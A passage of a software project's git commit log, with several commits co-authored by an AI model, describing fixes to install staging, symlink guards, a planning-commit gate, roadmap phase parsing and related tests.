dispatch site added later without the validation contract fails instead of shipping — the same 'hardcoded list silently misses members' mistake #3559 itself was. It asserts, per discovered site, that the charset is pinned, that validation is specified as in-context, and that the rule appears BEFORE the interpolation it guards (an executing agent reads top-down). A floor assertion fails the section if the discovery regex ever stops matching, so it cannot pass vacuously. Two further tests pin the reference's gate section and the halt/skip onError vocabulary. Sizes all within tier caps: execute-phase 94378/98304, plan-phase 91008/98304, verify-work 39488/61440, ship 38067/40960. Drift acks amended for each. * fix(3559): fit the validation mandate under the frozen pre-phase-6 ceiling The previous commit blew tests/claude-orchestration.test.cjs's frozen ADR-857 pre-phase-6 ceiling for execute-phase.md (93600): the file had only 209 bytes of headroom and the inline validation paragraph added 987. That ceiling is a ratchet proving Phase 6 extraction happened — raising it is never the answer. Restructured so the RULE lives once, in the reference's gate section (charset, in-context, single-argv, and the consent-surface rationale), and each of the five dispatch sites carries a terse mandate plus a pointer to it. That is strictly better than five verbatim restatements: this PR exists partly because the reference and its implementations had already drifted apart on the onError vocabulary, and five copies of a security rule is that same failure waiting to recur. execute-phase.md already eagerly inlines the reference (@-form at its step-hook dispatch), so an executing agent has the full rule in context regardless. Also reclaimed genuinely duplicated bytes at the execute:post site, whose prose restated both commands the fenced block immediately below already shows, and whose tail restated the two-step contract that the execute:wave:post site spells out in full. Net sizes vs origin/next: execute-phase.md 93365 (-26, SHRINKS) pre-phase-6 93600, margin 235 (was 209) plan-phase.md 90627 (+111) tier cap 98304 verify-work.md 39107 (+111) tier cap 61440 ship.md 36784 (+3058) tier cap 40960 Because execute-phase.md now shrinks, its drift-ack entry was reverted — an ack that is never consumed is reported as STALE and fails the check. The other three acks carry corrected byte figures. Tests follow the same split: section 6 asserts the mandate + pointer per discovered site and the full rule in the reference; section 5's security test drops the inline charset assertion it can no longer make of ship.md. * fix(3559): repair an over-escaped regex in the security assertion /loop-hook-dispatch\\.md/ matched a literal backslash before .md, so it could never match and the [security] assertion failed on the remote runner even though the prose it checks was correct. The over-escaping came from nesting a regex through a shell string into a node -e script; the sibling literal in section 6, written via a quoted heredoc, was unaffected. The reason this reached the runner at all is that the local check re-typed the regex by hand instead of executing the one in the file, so it validated a different pattern than the test used. Replaced that habit with two harnesses that read the literals FROM the source: one asserts every regex literal in the file matches something in the real workflow/reference corpus (catching over-escaping generically), the other evaluates the [security] and section-6 literals against their actual targets. * chore(3559): backfill changeset PR number (#3608) --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
debeabd524 |
enhance(#3587): add a per-phase commit_docs override (#3601)
* feat(#3587): add a per-phase commit_docs override Delivers epic #2292's second user story: commit an architecture phase's artifacts while execution phases stay local. commit_docs was project-wide and binary, so the only choices were all phases or none. Shape is a config dynamic key phase_commit_docs.<phase-id>, following the 14 existing dynamicKeyPatterns precedents rather than inventing a PLAN.md frontmatter spec -- which #2292 itself flags as becoming its own maintenance surface. Tier 1 resolves in cmdCommit, NOT in loadConfig: loadConfig has no phase context and is called by nearly every command, so threading one through it to serve a single caller would be a far larger blast radius for no gain. The phase comes from detectPhaseNumberFromFiles, which cmdCommit already computes for branch naming and which is already hardened against the #2539 project-code bug. Suppression by the per-phase tier returns its own reason rather than reusing skipped_commit_docs_false -- telling a user their project setting is false when it is true would be actively misleading. Additive; the two existing reason strings that agents/gsd-executor.md matches on are unchanged. The manifest's phase-id pattern is a hand-copy of PHASE_NUMBER_TOKEN_SOURCE because the manifest is hand-maintained JSON, so a behavioral parity test asserts both surfaces accept and reject the same token shapes. * fix(#3587): fold tests, close review findings, update reference docs Fold: the new tests were added as their own file, which required loosening a grandfathered lint-test-file-count bucket 5-to-6. A ratchet exists to go down only. commit-docs-bypass.test.cjs is the established commit_docs test home and already hosts two folded suites, so the tests fold there as a third block and the allowlist is reverted untouched. Standards review: CONTEXT.md and the test header both cited a phase-commit-docs-manifest-parity.test.cjs that never existed; a repo-wide sweep found a fourth stale cite in the schema manifest description. All four now name the real location. Spec review: the issue's Scope of changes named planning-config.md and git-planning-commit.md and neither was touched. Both now document the four-tier precedence and the new skip reason. Security review, minor and unproven: detectPhaseNumberFromFiles returns the FIRST matching path's phase, so a --files list spanning two phases resolves the override against whichever comes first. That helper is hardened and widely used, so it is not changed; the behavior is pinned by a named test and disclosed in the design and user docs. A pinned behavior is not a bug; an unpinned surprise is. * chore(#3587): backfill changeset pr number to 3601 --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
f56ffa86ab |
fix(#3581): derive init.progress's next_phase from roadmap order, not artifact presence (#3603)
* test(#3581): pin init.progress's frontier to roadmap order over stray artifacts Failing-first regression for #3581: a stray out-of-order phase directory (a phase-9 UAT evidence file while roadmap phase 8 was pending and unscaffolded) made init.progress report next_phase 09, skipping Phase 8 and disagreeing with roadmap.analyze. Rows pin the issue shape, the aligned-tree control, and the all-complete boundary. * fix(#3581): derive init.progress's next_phase from roadmap order, not artifact presence The frontier is re-derived from the sorted phase union after the disk and roadmap loops: the first not-yet-begun, not-roadmap-complete phase wins. Artifacts still feed status and completion per entry, but a stray out-of-order directory can no longer drag the frontier past a pending unscaffolded roadmap phase, and init.progress agrees with roadmap.analyze. * fix(#3581): frontier = first not-complete phase in roadmap order (resume semantics) Review-of-own-control refinement: a begun-but-unfinished phase (in_progress, executed, researched) is the frontier — the next thing to execute is to resume it — so the frontier predicate is simply 'not complete and not roadmap-complete', first in the sorted union. * fix(#3581): preserve the pinned pending-only frontier contract; repair the boundary fixture Review findings: the resume-semantics refinement broke the suite-pinned contract that an in-progress phase is currentPhase's lane, not nextPhase's (tests/init.test.cjs 'multiple phases with mixed statuses') — reverted to first pending-or-not_started; the control row now pins the pure ordering property (roadmap-only pending beats a later pending directory); the boundary fixture gains passing verification reports so disk status reaches complete under the #3168 disk-strict bar. * chore(#3581): add changeset fragment * chore(#3581): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
3ab0007164 |
enh(#2875): materialization primitives — durable user-artifact staging and descriptor-authoritative agents (#3600)
* fix(#2875): stage user artifacts durably across install wipes (#1874-F19) preserveUserArtifacts held user files only in an in-memory Map across the wipe, so any process death between preserve and restore lost them outright. Seven call sites, not the four the issue records. Three of them never called the helper at all - they open-coded the same read/wipe/write - so searching for callers under-counted by construction; the extra sites were found by sweeping for the pattern instead. The worst is the mainline install path, where the crash window spans the entire gsd-core tree copy rather than a single rmSync. Adds src/user-artifact-staging.cts: durable on-disk staging with a record written after the copies land as the commit point, plus recovery of orphaned batches on the next run - without recovery the staged bytes survive but the user's file is still gone, which would pass its own test while delivering nothing. Routes copyPreservingSymlink through installFs() so staging cannot bypass the install fs seam, and reunites its symlink-safety docblock with the function it documents. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(#2875): amend ADR-3574 with four claims disproved by implementation Implementing Phase 6 disproved four statements the ADR rests on. The central decision - no single materializer - is unaffected and stands. Corrected: decision 3 was already satisfied, so nothing was extracted; the agents-bypass runtime set omitted claude, kilo and opencode, and closing it needed three new pieces of descriptor contract rather than proceeding on its own terms; three of the four blockers the layout comment names were already stale; and F19 is seven call sites, not four. Records the generalizable lesson: the defect is the pattern of holding user data in memory across a wipe, not the helper, so searching for callers of the helper under-counts by construction. Also resolves the ADR's open question on USER_OWNED_ARTIFACTS membership, and notes that copyPreservingSymlink needed routing through the install fs seam before it could be reused. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2875): close dangling-symlink blind spot and harden staging recovery An adversarial review found the F19 staging work shipped red and unsafe. Root cause, shared by two arbitrary-write findings: hasExistingSymlinkBetween missed dangling symlinks in both its root check and its per-segment walk, because it probed with existsSync, which is false for a link whose target does not exist. Fixing only the new module would have reused a guard that was itself blind. This guard protects the whole install tree. Recovery no longer throws: it degrades per entry and per file, so one bad batch cannot block the others. Previously an unrecoverable entry propagated out of the first statement of install and uninstall, before the cleanup that would have removed it - wedging the installer permanently. Partial fs adapters now throw on any omitted method instead of silently reaching the real filesystem, closing the trap that let a test poison list pass while real IO happened. Staged names must be flat, recovery refuses a dangling destination symlink, and a batch whose recovery genuinely failed is no longer swept - it was discarding the only durable copy of the file it had just failed to restore. Replaces three tests that could not fail, including the one labelled negative proof. Known limitation, documented not closed: concurrent installs sharing a staging key can still lose a batch. A real fix needs a cross-process lock. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * enh(#2875): make the descriptor authoritative for the agents kind Deletes the inline agent-staging loop in bin/install.js and the _DESCRIPTOR_AGENTS_RUNTIMES set, so every runtime materializes agents from its capability descriptor instead of an inline hostBehaviors dispatch. Closing it needed three pieces of contract the descriptor pipeline never had, all reducible to one missing input - per-agent resolution context: a frontmatter-extensions step for claude's effort and disallowedTools, per-agent model-override resolution for kilo and opencode, and a named branding converter for hermes, whose rewrite data was already declared. Seven runtimes were on the loop, not the six the design recorded - kimi-code was found by a golden fixture, not by analysis. claude-local and kimi-code both silently lost their agents mid-change; the fixtures caught both and the cause was fixed rather than the fixtures regenerated. A parity harness gates the migration: both pipelines over identical inputs, byte-identical output including filenames, per runtime. It is demonstrated red before being trusted. Surface and install paths converge for all seven, which also fixes surface previously writing no agents for these runtimes. Codex's config.toml strip stays put - it mutates host config, which no descriptor kind models. Also routes install-model-override-resolver and install-effort-resolver through the install fs seam. Both leaked real filesystem IO from the install call tree; the stricter adapter is what exposed them. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(#2875): record the agents-descriptor migration and correct the ADR count The _DESCRIPTOR_AGENTS_RUNTIMES allow-list no longer exists, so the host integration guide told readers to join a set that is gone. Replaces that with what is now true - declare an agents entry and it installs, on the surface path as well as install - and points anyone needing a per-agent transform at the three extension points rather than at a new inline branch. Corrects the ADR amendment: seven runtimes were on the inline loop, not six. kimi-code was found by a golden fixture going red, not by reading. That is the third short count this phase, all from enumerating by symbol or set membership when the thing that matters is a behavior. Adds the Changed changeset for the surface-path convergence. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(#2875): amend ADR-2866 - claude global always wrote agents on disk The claude row's global=[skills] described what capability.json declared, not what the installer wrote. bin/install.js's inline agent-staging loop was never scope-gated and never consulted the descriptor, so a claude --global install has always written agents/gsd-*.md. Phase 6 closes the gap by deleting that loop and declaring agents on claude's descriptor at global scope. On-disk bytes are unchanged - the golden fixtures did not move, which is the evidence that the descriptor, not the installer, was incomplete. #2218 is unaffected: agents are not trigger-bearing, so the wider row does not introduce a new shadowing case. Records the warning that an incomplete descriptor is invisible while a second code path silently does its work, and only surfaces when the two are forced into agreement. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2875): close review findings across staging, agents and the parity harness Two independent reviews of this branch found defects the local gates missed. Security: a dangling symlink at a migration destination allowed writing outside configDir - the same class this change claimed to close, missed at the terminal write of the flow being added. The staging-root resolver threw as the first statement of install and uninstall, so a hostile symlink bricked both, and symlinked-configDir users lost uninstall as well as install; it now degrades instead of aborting. Recovery gained a source-side symlink check and now refuses a relative destDir, which resolved against cwd. Converter dispatch gained a runtime allowlist - lint-time validation stopped mattering once this branch promoted that dispatch from the surface path to real installs. Correctness: claude --local --minimal exited 1 because the minimal profile legitimately yields zero agents and the new path treated that as a failure. cline --local silently lost its agents - its descriptor declared none while the deleted loop wrote them unconditionally. The agents prune was widened to any gsd-* entry and destroyed user files it never owned. The parity harness, on which the migration's safety argument rested, drove a synthetic registry and never byte-compared the shipped descriptors; two of its trap rows could not fail. It now drives the real registry across 13 runtime-scope rows including kimi-code and cline-local, and its red-proof is demonstrated by corrupting a live capability.json. Three goldens that had encoded the cline regression as expected behavior were corrected. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2875): close findings from both mandated review engines /security-review found the staging source-side walk honouring GSD_ALLOW_SYMLINKED_DEST, an opt-in documented as relaxing only the write destination. A symlinked files/ component dereferenced because copyPreservingSymlink lstats the leaf only, so an intermediate link is followed. The source walk no longer honours the opt-in; the destination check still does. /code-review spec axis found this branch had reintroduced its own bug: migrateLegacyDevPreferencesToSkill's new symlink refusal threw unguarded after the legacy dir was wiped and before the staged batch was restored, so a planted symlink bricked uninstall permanently and orphaned the batch. Refusal kept, abort removed. kimi-code local silently lost its agents, the same class as the cline bug, and the parity harness recorded that exclusion as intentional - the third test in this branch to pin a regression as correct. --minimal now creates an empty agents/ dir that never existed. Behaviour restored rather than softening the changeset, so its byte-identical claim stays true. Standards axis: try/finally removed from twelve test bodies, fast-check properties added for parseOwnerPid, boundary coverage at the grace window and the ancestor-probe depth, a parity assertion for the staging-root helper duplicated across two files, and the 8-deep config walk deduplicated. Records 60-review.json with every finding and disposition from five passes, including the smells left unfixed and why. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2875): prune stale agents unconditionally in minimal mode The previous round stopped an empty agents/ directory being created when the resolved profile yields no agents. That was implemented by skipping the agents kind entirely, which also skipped its stale-agent prune - so a full to minimal downgrade left stale gsd-* agents behind. The deleted inline loop pruned unconditionally and only skipped writing. Those are three separate conditions, not one: prune always, write only when there is something to write, create the directory only when writing. Both call sites now run _removeGsdEntries before the empty-staged early exit. The symlink-escape guard moved with it, since the prune also touches dest. Codex .toml agents and the config.toml stanzas are cleaned again, and user-owned agents are still preserved. The agents/ directory is left in place after a prune empties it, matching every sibling kind - none of them remove the destination directory itself. Golden fixtures confirmed byte-identical: the prune is a no-op on a fresh install, so fixture generation is unaffected. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(#2875): document interrupted-install recovery for user-owned files The durable-staging fix is invisible to the user it protects. Someone whose install died mid-flight has no way to know USER-PROFILE.md was staged before the delete, that the next run restores it, or that recovery happens at the start of that run rather than in the background. Written as the task the user has - finish the interrupted command - rather than as a description of the mechanism, and states what it will not do: overwrite a file already present, or touch staging belonging to another install still running. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * chore(#2875): backfill changeset pr number Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * test(#2875): assert the J8 model override without building a regex CodeQL flagged incomplete string escaping: the assertion interpolated the override value into a RegExp while escaping only forward slashes, which is meaningless in a constructor, leaving real metacharacters unescaped. The failure direction was the dangerous one - a metacharacter would have made the match more permissive, so the row would pass when it should fail. That matters here because J8 exists precisely because an earlier revision was a tautology; the rewrite reintroduced a different way for the same assertion to stop discriminating. Replaced with a line-wise exact match, so no regex is constructed at all. Swept the other test files this branch adds; no sibling instances. lint:ci passed on the original - lint-no-adhoc-regex-escape matches a full metachar-escape copy, so a single slash replace slipped under it. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: sim <sim@local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
Tom Boucher
|
dfc4c69e3d |
fix(#3577): recognize markdown-table phase rows across the roadmap enumeration family (#3599)
* test(#3577): pin table-declared phase resolution across all four surfaces Failing-first regression for #3577: a GFM table phase listing (Phase header, id in the first data cell) declared real phases that roadmap.analyze, roadmap.get-phase, init.phase-op, and the milestone filter all reported as absent (phase_count: 0 / found: false). Rows pin the lookup, the scope probe, the analyzer, schema discrimination against the canonical RoadmapProgress table, fenced-example exclusion, heading+table union without double-count, decimal ids, and the 999 icebox exclusion. * fix(#3577): recognize markdown-table phase rows across the enumeration family A GFM table whose header leads with Phase and whose data rows carry the id in the first cell is a phase listing — the #2199 bullet blind spot's table sibling. collectTablePhaseRows (schema-discriminated against the canonical RoadmapProgress table via matchTableSchema, fence-aware via stripFencedCode, digit-bearing id shape, 999 icebox excluded) now feeds: the milestone filter's sole owner scanMilestonePhaseIds, window classification hasPhaseEntries, both roadmap lookup chains (getRoadmapPhaseInternal + cmdRoadmapGetPhase, as last-resort tiers after heading and bullet), and roadmap analyze's enumerator (with the same disk enrichment contract as headings and a zero-pad-tolerant duplicate guard). init.phase-op resolves through its existing getRoadmapPhaseInternal fallback. * fix(#3577): GFM table termination + icebox word boundary in the table scan Review findings: the row harvest broke only on blank lines, so prose after a table (a bare date line) could be harvested as a phase id — rows now stop at the first non-row line per GFM semantics; the 999 icebox exclusion gains the heading scan's word boundary so 9991 is kept. * fix(#3577): sanction collectTablePhaseRows in the enumeration drift scanner The scan's local 999-only exclusion mirrors its parent owner scanMilestonePhaseIds' deliberate NOT-isSentinelPhaseId choice (a leading 0 is a real decimal phase, #2554), so it cannot route through the sentinel owner — function-scoped exemption with the documented reason, same entry shape as the #3262 owner's. * chore(#3577): add changeset fragment * chore(#3577): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
5f64d999dc |
fix(#3586): warn when .planning/ is gitignored but still tracked (#3598)
* feat(#3586): warn when .planning/ is gitignored but still tracked git ignore rules have no effect on files git already tracks, so a project that committed .planning/ before ignoring it keeps staging those files -- while commit_docs correctly resolves to false, which is exactly what makes the contradiction invisible. The probe lives in the SNAPSHOT BUILDER, not the rule: Rule.check may perform no ambient I/O (ADR-3180 8.1 rule 1, enforced by lint-planning-snapshot-bypass). buildPlanningTrackedField follows buildWorktreeHealthField's precedent -- injected execGit, bounded, degrading to UNREADABLE with a typed reason rather than throwing. W024 went inline instead only because no snapshot field carried its fact; that precondition does not apply here. W029 fires only on COMPLETE scope with ignored and tracked both true, so a degraded probe yields neither a finding nor a false all-clear, and the default project (tracked, not ignored) stays silent. The remedy is ADVISE-only -- --repair never untracks anything. * docs(#3586): document W029 and correct the health rule count CONFIGURATION.md documented the gitignore auto-detect without the caveat that ignore rules do not affect already-tracked files -- the very gap W029 exists to surface. Adds the caveat, the warning, its remedy, and why --repair will not act on it. CONTEXT.md's rule count was stale at 31 before this change (actual 32 through W028); corrected to 33 and pointed at the two other places the count is locked, so the next editor updates all three together. * fix(#3586): treat ls-files overflow as tracked, add CLI-level W029 tests Review findings. Security (minor, confirmed): execGit sets no maxBuffer, so Node's 1MB default applies to git ls-files. A .planning/ tree large enough to overflow it failed into git_list_failed and silenced W029 -- a false negative in exactly the large-history case most likely to have the real bug. Overflow is now treated as PROOF of tracking (the output was non-empty by definition) and resolves to tracked:true, scope COMPLETE, reason ok_truncated. Spec (major): test-matrix rows C1 and C2 were never implemented -- there was no CLI-level integration test at all, only rule-level ones. Both now drive the real validate-health dispatch and confirm W029 is reachable end-to-end. Known limit documented, not papered over: a deliberate git add -f under an otherwise-ignored .planning/ raises the same signal as the accidental case. There is no reliable way to tell them apart, the finding is advisory-only, and a heuristic that cannot actually distinguish them would be worse than the honest caveat. * test(#3586): update frozen health-doc counts and acknowledge health.md growth The remote matrix caught three gates that lint:ci does not cover. gen-health-docs.test.cjs froze a 35-row / 32-rule assertion; W029 makes it 36/33. Updated both the assertion and the test NAME, which embeds the counts -- a stale name is a lie even when the assertion passes. The second reported failure was the same assertion surfacing at describe-rollup granularity, not a distinct bug. emitted-attribution's growth arm needed an ack for the generated health.md. health.md was already named in 3309-health-docs-generated.json, and two ack sources naming one path is a hard error -- so a new fragment was not an option. That fragment's own history shows the pattern: #3309 created it, #2873 amended it in place for W028. Amended again for W029, with a note recording why this one file is amended rather than joined by a sibling. * docs(#3586): add the private-planning how-to and fix a wrong link docs/CONFIGURATION.md pointed 'Configure private planning' at how-to/configure-model-profiles.md -- an unrelated page -- and no private-planning how-to existed at all. Found while editing that section. The how-to test genuinely fires here: going private is four steps and crosses planning.search_gitignored, a setting owned by another concern, so a reference table structurally cannot carry it. The new page walks the whole sequence and leads with the step people miss -- .gitignore does not untrack what git already tracks -- which is the exact state W029 now detects. Also corrects 'artefacts' to 'artifacts' (repo house style is American). * chore(#3586): backfill changeset pr number to 3598 --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
ec7e49a64c |
fix(#3576): repair all 43 dead references/ cites and gate the canonical resolvable form (#3596)
* test(#3576): gate shipped reference citations on the canonical resolvable form Failing-first gate for #3576: a backticked bare references/<name>.md cite resolves from no install location (agents, workflows, and references all install where a bare relative references/ path is dead). The gate walks the runtime-loaded trees the issue prescribes, strips @~/ include tokens PER-TOKEN (a line-skip guard would miss a bare cite sharing a line with an include — the issue-named trap), pins the genuinely relative ../ href and canonical forms as non-offenders, and checks canonical cite targets exist. 43 offenders today across 19 files. * fix(#3576): repair all 43 dead references/ cites to the canonical resolvable form Every backticked bare references/<name>.md cite across the 19 shipped files rewritten to gsd-core/references/<name>.md — the form every required_reading block and @~/ include already uses, and the only form that resolves from any install location. All 20 cited targets verified to exist; the one genuinely relative href (plan-phase.md's ../references/mvp-concepts.md) is untouched (the repair is backtick-anchored). Growth acks: new fragment for the three first-time paths, #3206-pattern appends to the five fragments already naming the other grown files (two ack sources may never name the same path). execute-phase.md lands at 93,391/93,400 and gsd-executor.md at 49,150/49,152 — exactly the issue's projections; every repair fits. * fix(#3576): drop stale default.md growth ack (nested modes file is hash-attributed, not growth-ratcheted) Review finding: the emitted-attribution ratchet covers only top-level workflows/ + agents/ files; discuss-phase/modes/default.md's delta is source-attributed, so acknowledging its growth is a stale entry the differential lane fails on. * chore(#3576): add changeset fragment * chore(#3576): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
98ecb2ba8c |
enhance(#2142): archive quick tasks at milestone close-out (#3592)
* test(#2142): failing-first coverage for quick-task archival at milestone close-out * enhance(#2142): archive quick tasks at milestone close-out * fix(#2142): resolve review findings — readme injection, move/reset ordering, owned state write * fix(#2142): fold archival under milestone namespace, expose index IR, dedupe reset decision * test(#2142): assert archive-dir-relative summary path in index IR * docs(#2142): backfill changeset pr number to 3592 * test(#2142): skip newline-fixture injection test on windows (control chars illegal in path names) --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
b08af152e4 |
fix(#3573): keep the stored total_phases when the roadmap is absent at state-write time (#3595)
* test(#3573): pin stored-total retention when the roadmap is absent at state-write time Failing-first regression for #3573: with ROADMAP.md absent and a milestone asserted, every state.* write persisted the phase-directory count as progress.total_phases (5 -> 1 in the issue) — only STARTED phases count, quietly defeating #549's single source of truth. Rows pin the stored-value outcome + stderr warning across record-session and begin-phase, the fresh-project doctrine (no milestone asserted -> dir count stays), and the roadmap-present control. * fix(#3573): keep the stored total_phases when the roadmap is absent at state-write time The #3354 withhold covered milestoned-but-unbounded roadmaps but not the roadmap-absent shape: with ROADMAP.md unreadable the #549 heading counter never runs, milestoneBounded is vacuously true, and every state.* write persisted the phase-directory count as progress.total_phases — counting only STARTED phases (5 -> 1 in the issue). When the STATE asserts a milestone (storedMilestone), the stored frontmatter total now wins and a (#3353)-style stderr warning names the condition; with no asserted milestone the disk count stays authoritative (fresh-project doctrine). * fix(#3573): thread stored milestone into the state json read for write/read parity; discriminate the doctrine row; pin planned-phase Review findings: cmdStateJson passed storedMilestone=undefined so the new withhold never fired on the read surface — state json reported the dir count while the persisted file preserved the stored total (exactly the divergence #3354 closed for its shape). The fresh-project doctrine row now uses stored 5 vs dirs 2 so a milestone-gate-less withhold mutant cannot survive it; the third issue-named verb (planned-phase) is pinned. * chore(#3573): add changeset fragment * chore(#3573): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
7c649a9970 |
fix(#3585): close raw-git bypasses of the commit_docs gate (#3590)
* test(#3585): repo-wide guard for unguarded .planning/ git add Replaces the two-file #1783 scan, which required .planning/ on the git add line and so was structurally blind to fast.md's `git add -A` and to new-milestone.md (never scanned). Extracts the shell tokenizer, comment-position rule and gsd-scan-ignore marker from the #2269 guard into tests/helpers/shipped-command-scan.cjs so both guards consume one implementation. Commit-specific logic stays in commit-files-pathspec.test.cjs; every pre-existing test there passes unedited. Fails RED on five sites: fast.md:58, new-milestone.md:262, spec-phase.md:480, eval-review.md:148, ai-integration-phase.md:263. The last three carry a markdown prose conditional outside the bash block it claims to guard. * fix(#3585): close raw-git bypasses of the commit_docs gate Five shipped workflow steps staged .planning/ with raw git. Two had no check at all; three had a markdown prose conditional sitting outside the bash block it claimed to guard, so the block ran unconditionally. spec-phase, eval-review and ai-integration-phase now route through the gsd_run query commit seam, which performs the commit_docs and gitignore checks internally and returns a skipped envelope -- this deletes the raw git pair rather than wrapping it. new-milestone stages directories for a later commit and cannot use the seam, so it takes the executable guard form, fail-open on a tooling error. fast writes no planning artifacts and has no gsd_run in scope at that point, so it excludes .planning via pathspec instead of reading config. Guard now reports 0 offenders. * test(#3585): pin skipped_gitignored to production behavior COMMIT_REASON was a test-local frozen enum joined to production only by a hand-maintained keep-in-sync comment -- the Generative Fix Divergence class, whose required remedy is a parity assertion. B1-B3 already pinned SKIPPED_COMMIT_DOCS_FALSE. SKIPPED_GITIGNORED was pinned by nothing: production could rename it and every test still passed. G1-G3 drive the gitignore auto-detect path and assert the canonical reason. The fixture must OMIT .planning/config.json entirely -- with config.json present the loader resolves commit_docs to false first and cmdCommit returns skipped_commit_docs_false, never reaching its own isGitIgnored branch. * docs(#3585): document the planning commit gate and its guard CONTEXT.md had zero commit_docs entries. Adds a Planning Commit Gate glossary entry covering the resolution chain, the typed skip envelope, the measured ordering of the two reason codes, and why the gate is enforceable only as a text guard. CONTRIBUTING.md gains the contributor rule for the new guard, with the prose-is-not-a-guard example that caused three of the five defects. * fix(#3585): address review findings in the planning-add guard Spec review (blocker): fast.md excluded .planning unconditionally, changing behavior for commit_docs=true users and violating epic AC4. Now gated -- the launcher preamble was MOVED from log_to_state into the commit block rather than copied, so gsd_run is in scope for +4 lines instead of +4KB, and the else branch is byte-identical to the previous git add -A. Security review (major): git -C <dir> add was a false negative because the flag-skip loop never modelled flags that consume a separate value. Fixed for -C/-c/--git-dir/--work-tree/--namespace. The fail-closed rule now also covers $(...) substitution args and --pathspec-from-file, which were opaque in the same way $VAR is. git commit -a/-am is now classified as reaching, since it stages every tracked modification. Self-review: isSkippable treated any NAME= token as a skippable prefix, so V=$(git add -A) escaped -- the exact divergence the shared-helper extraction existed to prevent. Adopted the sibling predicate verbatim. eval, xargs, one-line function bodies and line-continuation remain blind and are now enumerated as declared limits in the guard docblock and CONTRIBUTING. The ifDepth clamp is defensive only: a 200k-case differential fuzz found no reproducing input, so its test is labeled a pin, not a failing-first test. * test(#3585): acknowledge emitted growth in three workflow files emitted-attribution has two arms: hash attribution AND per-file growth. The growth arm needs an acknowledgment even when every moved byte is attributable to the diff, which is why the first remote run went red on it. fast.md +417: the launcher preamble moved into the commit block so gsd_run is in scope for the commit_docs guard, plus the guard itself. new-milestone.md +281: the executable guard plus one line recording that the unstaged archive move is deliberate. spec-phase.md +21: reworded prose describing the skipped envelope. eval-review.md and ai-integration-phase.md shrank; no entry needed. * test(#3585): drop duplicate spec-phase ack, shrink its prose instead The base already acknowledges spec-phase.md (from #2733), and two ack sources may never name the same path. But a base-side ack is SPENT -- it cannot clear new growth -- so the two gates were in direct conflict: attribution wanted an ack, the ack lint forbade one. Resolved by removing the growth rather than the conflict. spec-phase.md's +21 was purely a prose reword; rewritten shorter, the file now shrinks 36 bytes against base and needs no acknowledgment at all. fast.md and new-milestone.md have no base ack and keep theirs. * chore(#3585): backfill changeset pr number to 3590 --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
0c00ef4a6d |
fix(#3572): keep phase remove's STATE.md write single-block and drop the removed heading (#3594)
* test(#3572): pin single-frontmatter contract for phase remove STATE.md writes Failing-first regression for #3572: when the removed phase has a directory and the body lacks Total Phases/of-N, cmdPhaseRemove's no-op-guard bypass prepended the count field to the WHOLE file — before the opening fence — corrupting STATE.md into two frontmatter blocks. Rows also strengthen the #2640 coverage (whose first-match assertions pass even on a corrupted file) and pin the issue's ROADMAP-only control. * fix(#3572): keep phase remove's STATE.md write single-block and drop the removed heading from ROADMAP Two defects in the decimal-phase removal path: (1) the #2640 no-op-guard bypass prepended 'Total Phases: N' to the WHOLE file content, landing it before the opening fence and corrupting STATE.md into two frontmatter blocks; the field now inserts at the top of the BODY, after the closing fence (EOL-aware, frontmatter-less files unchanged in behavior). (2) updateRoadmapAfterPhaseRemoval matched the raw query token ('1.1') against the normalized zero-padded heading ('Phase 01.1:'), so the removed phase stayed in ROADMAP and the resync counted it; the heading, checklist, and progress-row matchers are now zero-pad tolerant, which also covers unpadded integer headings. * fix(#3572): clamp phase-count decrements at zero; harden EOL detection; pin controls Review findings: a stale 'Total Phases: 0' could decrement to -1 on the next removal (both the field and the 'of N' phrase now clamp at 0); insertStateBodyFieldAtTop detects EOL from the first line ending so an LF-dominant file with a stray CRLF cannot fall through to the raw prepend; the issue's insert-alone control is pinned; row 1 pins the body-field value (dir-count provenance) alongside the roadmap-derived frontmatter count. * fix(#3572): keep CRLF endings intact in the body-field insertion Green-run failure root cause: splitting on '\n' but re-joining on a detected '\r\n' doubled every carriage return in CRLF files. Split and join uniformly on '\n' so each '\r' stays attached to the line it terminated. * chore(#3572): add changeset fragment * chore(#3572): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
325fc25c01 |
fix(#3569): require a digit-bearing phase id in the stats heading scan (#3591)
